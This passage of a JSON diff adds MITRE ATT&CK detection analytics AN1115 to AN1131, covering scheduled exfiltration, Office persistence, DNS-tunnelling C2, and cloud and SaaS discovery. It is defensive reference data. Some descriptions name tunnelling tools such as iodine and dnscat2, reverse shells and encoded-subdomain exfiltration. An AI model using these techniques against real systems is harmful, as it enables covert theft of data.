"mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0397#AN1115", + "external_id": "AN1115" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1115", + "description": "Observation of LaunchAgents or LaunchDaemons establishing periodic external connections indicative of automated data transfer.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process: exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "network" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "macos:cron", + "channel": "cron/launchd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchInterval", + "description": "Frequency of task recurrence linked to external communication." + }, + { + "field": "DestinationPort", + "description": "Port number used for detection filtering." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e643c4aa-dc7d-43d9-b36e-f13d733f8e9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0398#AN1116", + "external_id": "AN1116" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1116", + "description": "Office-based persistence via Office template macros, Outlook forms/rules/homepage, or registry-persistent scripts. Adversary modifies registry keys or Office application directories to load malicious scripts at startup.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Outlook rule creation, form load, or homepage redirection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Tune based on expected Office process tree (e.g., WINWORD.EXE spawning cmd.exe)" + }, + { + "field": "RegistryPath", + "description": "Specific keys related to Office startup such as Outlook Today, AddIns, or Template Macros" + }, + { + "field": "TimeWindow", + "description": "Window of process execution after user login or Outlook launch" + }, + { + "field": "UserContext", + "description": "Detect persistence within high-value user mailboxes (e.g., admin, finance, C-suite)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--59bfb473-611f-4443-9d11-f44e7ace93fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0398#AN1117", + "external_id": "AN1117" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1117", + "description": "Startup-based persistence mechanisms within Microsoft Office Suite like template macros and home page redirects being configured through internal automation or client-side settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:mailboxaudit", + "channel": "Outlook rule creation or custom form deployment" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RuleAction", + "description": "Identify rule actions that execute scripts, forward emails externally, or start external content" + }, + { + "field": "MailboxTarget", + "description": "Focus on users with sensitive roles or shared mailboxes" + }, + { + "field": "TimeWindow", + "description": "Detect persistence artifacts created shortly after credential access or login from an unusual location" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79600919-afe8-4ac9-946c-147d85af6cfe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0399#AN1118", + "external_id": "AN1118" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1118", + "description": "Recurring network exfiltration initiated by scheduled or script-based processes exhibiting time-based regularity and consistent external destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "WinEventLog:System", + "channel": "EventCode=106, 200" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Duration threshold to consider a connection repetitive (e.g., same hour daily)" + }, + { + "field": "DestIPAllowlist", + "description": "Known external destinations to exclude (e.g., approved SFTP/backup servers)" + }, + { + "field": "ParentProcessBaseline", + "description": "Allowlisted job runners or scripts known to schedule legitimate transfers" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--11ac52fe-f8e0-4748-9fbc-2f85c43ad506", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0399#AN1119", + "external_id": "AN1119" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1119", + "description": "Detection of cron-based or script-based recurring transfers where the same script, user, or destination reappears at predictable intervals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "linux:cron", + "channel": "cron activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Outbound Connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptPathRegex", + "description": "Path patterns for shell scripts responsible for scheduled transfers" + }, + { + "field": "CronIntervalThreshold", + "description": "Minimum repetition frequency (e.g., 24h for daily jobs)" + }, + { + "field": "ExfilUserContext", + "description": "Suspicious or unexpected users launching scheduled transfers" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--837bd639-c291-4e42-b737-6a21d6bf8fd5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0399#AN1120", + "external_id": "AN1120" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1120", + "description": "LaunchAgent or launchd recurring jobs initiating data transfer to consistent external IPs or domains with repeat timing signatures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "macos:launchd", + "channel": "launchd.plist and logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "networkd or com.apple.network" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AgentPathPatterns", + "description": "Regex for job locations like ~/Library/LaunchAgents/" + }, + { + "field": "RepeatIntervalDelta", + "description": "Time-based logic to determine schedule (e.g., ~24h \u00b1 5m)" + }, + { + "field": "UserHomeJobs", + "description": "Transfers originating from non-admin user context" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--407bb9c9-0c31-4172-8dd3-bdd0547f2d1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0400#AN1121", + "external_id": "AN1121" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1121", + "description": "Detects high-frequency or anomalous DNS queries initiated by non-browser, non-system processes (e.g., PowerShell, rundll32, python.exe) used to establish command and control via DNS tunneling.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "dns.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "QueryLengthThreshold", + "description": "Subdomain length for detecting base32/base64-encoded payloads" + }, + { + "field": "ProcessImageFilter", + "description": "Flag non-standard executables making DNS queries" + }, + { + "field": "TimeWindow", + "description": "Rate of queries in short interval per process" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cc8183e1-9de4-469a-9117-79bf2e986e31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0400#AN1122", + "external_id": "AN1122" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1122", + "description": "Detects local daemons or scripts generating outbound DNS queries with long or frequent subdomains, indicative of DNS tunneling via tools like `iodine`, `dnscat2`, or `dig` from cronjobs or reverse shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "dns.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SubdomainEntropyScore", + "description": "Detects encoded payloads or randomness in DNS labels" + }, + { + "field": "DaemonAllowList", + "description": "Allowlisted system daemons expected to perform frequent lookups" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--42a8c7a7-2773-4892-b647-40d3542ae4d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0400#AN1123", + "external_id": "AN1123" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1123", + "description": "Detects scripting environments (AppleScript, osascript, curl) or non-native tools performing DNS queries with encoded subdomains, often used for data exfiltration or beaconing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains \"dns_request\"'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Tunable threshold for randomness in subdomain labels" + }, + { + "field": "UncommonProcessContext", + "description": "Filters on user-launched or cron-based queries" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fe648823-66c8-4cc3-8a8e-38616194464c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0400#AN1124", + "external_id": "AN1124" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1124", + "description": "Detects clients issuing DNS queries with high volume, long subdomain lengths, encoded payload patterns, or to known malicious infrastructure; indicative of DNS-based C2 channels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "dns.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DomainReputationFeed", + "description": "List of suspicious/malicious C2 domains" + }, + { + "field": "QueryRatePerClient", + "description": "Tunable burst rate per IP per second" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--11d8dd9d-e8f3-40cd-b9fe-cc82b6c2e790", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0400#AN1125", + "external_id": "AN1125" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1125", + "description": "Detects unusual outbound DNS traffic from ESXi hosts, often from shell scripts, custom daemons, or malicious VIBs interacting with external DNS infrastructure outside the management plane.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:syslog", + "channel": "/var/log/syslog.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:FLow", + "channel": "dns.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OutboundDNSVolume", + "description": "Threshold for data volume and frequency from ESXi IPs" + }, + { + "field": "KnownGoodVIBs", + "description": "Baseline known packages for allowlist comparison" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4bb5b68e-1a01-498e-ae39-94f951e01cd9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0401#AN1126", + "external_id": "AN1126" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1126", + "description": "Creation or modification of `.plist` files in /Library/LaunchDaemons/, especially those with suspicious Program or ProgramArguments paths, combined with execution activity under launchd with elevated privileges. Detectable through correlated Unified Logs, file monitoring, and process telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchd spawning processes tied to new or modified LaunchDaemon .plist entries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:launchdaemons", + "channel": "file_create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:launchdaemons", + "channel": "file_modify" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "macos:unifiedlog", + "channel": "launchd loading new LaunchDaemon or changes to existing daemon configuration" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProgramPathRegex", + "description": "Regex patterns to match anomalous executable paths or names in .plist files" + }, + { + "field": "TimeWindow", + "description": "Correlation window between file modification and launchd process execution" + }, + { + "field": "UserContext", + "description": "Admin or root context used during daemon installation" + }, + { + "field": "UnsignedBinaryFlag", + "description": "Whether the binary associated with the LaunchDaemon is signed or trusted" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fe8c1ef5-59ed-40c3-b7f6-eb560555ee22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0402#AN1127", + "external_id": "AN1127" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1127", + "description": "Unusual enumeration of services and resources through cloud APIs such as AWS CLI `describe-*`, Azure Resource Manager queries, or GCP project listings. Defender perspective includes anomalous API calls, unexpected volume of service enumeration, and correlation of discovery with recently compromised sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "AWS:CloudTrail", + "channel": "DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "AssumeRole: Discovery actions tied to assumed identities outside of normal context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EnumerationRateThreshold", + "description": "Rate of API calls used to enumerate services; tuned to reduce noise from automated inventory tools." + }, + { + "field": "UserAgentFilter", + "description": "Expected user agents for cloud management tools; deviations may indicate adversarial tools." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e2dd9fee-91b7-4e32-8031-69ed4d7b927c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0402#AN1128", + "external_id": "AN1128" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1128", + "description": "Enumeration of directories, applications, or service principals through APIs such as Microsoft Graph or Okta API. Defender perspective includes unexpected listing of users, roles, applications, and abnormal access to identity management endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "azure:audit", + "channel": "ListApplications, ListServicePrincipals: Large-scale queries against identity or application objects" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "QueryVolumeThreshold", + "description": "Threshold for number of object enumeration calls before triggering detection." + }, + { + "field": "PrivilegedRoleList", + "description": "High-value identity roles (Global Admin, Application Admin) for targeted discovery monitoring." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--19b6de3a-032f-4dc8-aa72-7cd952dfed59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0402#AN1129", + "external_id": "AN1129" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1129", + "description": "Discovery of SaaS services connected to productivity platforms (e.g., Microsoft 365, Google Workspace). Defender perspective includes unexpected enumeration of enabled services, API integrations, or OAuth applications tied to user accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "m365:unified", + "channel": "Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:signinlogs", + "channel": "UserLogin: Discovery operations shortly after account logins from new geolocations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredAppIntegrations", + "description": "Specific Office Suite applications or plugins that may be enumerated or targeted." + }, + { + "field": "GeoLocationDeviation", + "description": "Geographic deviation threshold for discovery actions linked to recent logins." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0730d9f-0a05-4153-8c6a-6f04f9f7346c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0402#AN1130", + "external_id": "AN1130" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1130", + "description": "Discovery of connected SaaS applications, APIs, or configurations within platforms like Salesforce, Slack, or Zoom. Defender perspective includes enumeration of available integrations, abnormal querying of service metadata, and follow-on attempts to exploit or persist via discovered services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "saas:adminapi", + "channel": "ListIntegrations, ListServices: Repeated service discovery requests from accounts without administrative responsibilities" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:auth", + "channel": "Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IntegrationDiscoveryThreshold", + "description": "Number of SaaS integrations enumerated before triggering detection." + }, + { + "field": "ServiceAccountScope", + "description": "Expected permissions for service accounts to distinguish benign from malicious discovery." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7becb616-f907-4533-a425-08ca42440e3f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0403#AN1131", + "external_id": "AN1131" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1131", + "description": "Configuration changes to virtual TAP/mirror policies that forward traffic to unapproved destinations. Detection correlates management plane API calls with mirrored traffic observation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + 